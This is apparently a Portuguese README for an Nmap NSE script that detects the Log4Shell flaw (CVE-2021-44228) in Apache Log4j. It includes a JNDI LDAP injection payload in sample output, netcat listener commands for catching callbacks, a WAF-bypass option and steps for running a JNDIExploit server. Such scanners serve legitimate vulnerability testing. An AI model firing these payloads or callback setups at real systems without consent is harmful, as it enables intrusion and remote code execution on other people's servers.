
Script NSE Nmap Log4Shell para descoberta do Apache Log4j RCE (CVE-2021-44228)
nmap-log4shell é um script NSE para descoberta da vulnerabilidade RCE Apache Log4j (CVE-2021-44228) através da rede. O script é capaz de injetar o payload de exploração log4shell via cabeçalhos HTTP (padrão) ou via socket TCP/UDP.
CVE-2021-44228 é uma vulnerabilidade de execução remota de código (RCE) no Apache Log4j 2. Um atacante remoto não autenticado pode explorar essa falha enviando uma solicitação especialmente criada para um servidor executando uma versão vulnerável do log4j. A solicitação criada usa uma injeção Java Naming and Directory Interface (JNDI) através de uma variedade de serviços, incluindo:
Se o servidor vulnerável usa log4j para registrar solicitações, o exploit solicitará um payload malicioso sobre JNDI através de um dos serviços acima de um servidor controlado pelo atacante. Exploração bem-sucedida pode levar a RCE.
Localize onde os scripts do nmap estão localizados no seu sistema:
~/.nmap/scripts/ ou $NMAPDIR/usr/local/Cellar/nmap/<version>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scriptsCopie o script fornecido (log4shell.nse) para esse diretório e execute nmap --script-updatedb para atualizar o banco de dados de scripts do nmap.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: O servidor de callback (ex.: 172.17.42.1:1389)log4shell.http-headers: Lista separada por vírgulas de cabeçalhos HTTP (ex.: X-Api-Version,User-Agent,Referer)log4shell.http-method: Método HTTP (padrão: GET)log4shell.url-path: Caminho da URL (padrão: /)log4shell.waf-bypass: Usar payloads de bypass de WAF (padrão: false)log4shell.test-method: Testar através de http (padrão), tcp, udp ou O script depende de callbacks do alvo sendo escaneado e, portanto, quaisquer regras de firewall ou interação com outros dispositivos de segurança afetarão a eficácia do script.
Escute uma porta TCP com netcat (ou ncat):
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Execute o Nmap com --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Veja o endereço IP do alvo na saída do netcat (ou ncat):
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
Baixe o JNDIExploit do GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
Inicie o servidor JNDIExploit:
java -jar JNDIExploit.jar
Execute o Nmap com o script --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Veja a saída do JNDIExploit para ver a consulta LDAP recebida
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
Este projeto foi feito apenas para fins educacionais e de teste ético. O uso do nmap-log4shell para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.
O projeto está licenciado sob a Licença MIT.
all